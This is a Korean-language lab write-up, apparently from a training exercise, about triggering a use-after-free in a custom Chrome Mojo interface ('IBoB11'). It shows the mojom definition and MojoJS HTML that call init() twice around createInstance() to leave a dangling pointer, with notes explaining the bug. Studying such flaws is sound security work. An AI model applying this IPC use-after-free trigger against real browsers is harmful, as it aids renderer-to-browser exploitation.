./chrome —enable-blink-features=MojoJS

Untitled


module blink.mojom;

interface IBoB11 {
	hello() => ();
	iambinish() => (string whoami); //결과 출력되는 곳
	init() => ();
	createInstance() => (pending_associated_remote<blink.mojom.IBoB11Instance> ? instance);
};

interface IBoB11Instance {
	goodluck() => ();
};
//경로에 파일 추가
<script src="mojo/mojo_bindings.js"></script>
<script src="mojo/third_party/blink/public/mojom/bob11/bob11.mojom.js"></script>
<script>
//logger interface 호출
var logger = new blink.mojom.IBoB11Ptr(); 
Mojo.bindInterface(blink.mojom.IBoB11.name, mojo.makeRequest(logger).handle);
//iambinish 함수 호출
console.log(logger.iambinish());

</script>

→ 페이지 25의 Mojo Interface 호출 예제를 참고하여 logger 인터페이스를 호출해보았다.

그리고 크롬을 활성화시킨 후에 해당 html이 있는 경로에 접속해보았다.

Untitled

→ 해당 경로 접속

/home/greena/Desktop/IBoB11_Files/bob11/IPC.html

Untitled

iambinish() 호출


<script src="mojo/mojo_bindings.js"></script>
<script src="mojo/third_party/blink/public/mojom/bob11/bob11.mojom.js"></script>
<script>
	async function bob(){
//logger interface 호출
	var logger = new blink.mojom.IBoB11Ptr();
	Mojo.bindInterface(blink.mojom.IBoB11.name, mojo.makeRequest(logger).handle);
	
//init()에서 make_unique<UaFImpl> 
	logger.init();
//IBoB11InstanceAssociatedPtr에 있는 createInstance에서 row ptr로 전달
//async식을 사용하고 있기 때문에 순서를 지켜주기 위해 await 사용
	var instance = new blink.mojom.IBoB11InstanceAssociatedPtr((await logger.createInstance()).instance);

//init() 재호출 -> Hint : Twice
	logger.init();

	instance.goodluck();
}

bob();

</script>

Untitled

→ init함수에서 unique ptr을 받게 되는데 createInstance에 있는 포인터 값에서 raw pointer로 받고 있기 때문에 init이 재호출될 경우에 이미 Free된 공간을 사용하려고 하기 때문에 UaF가 발생하게 된다.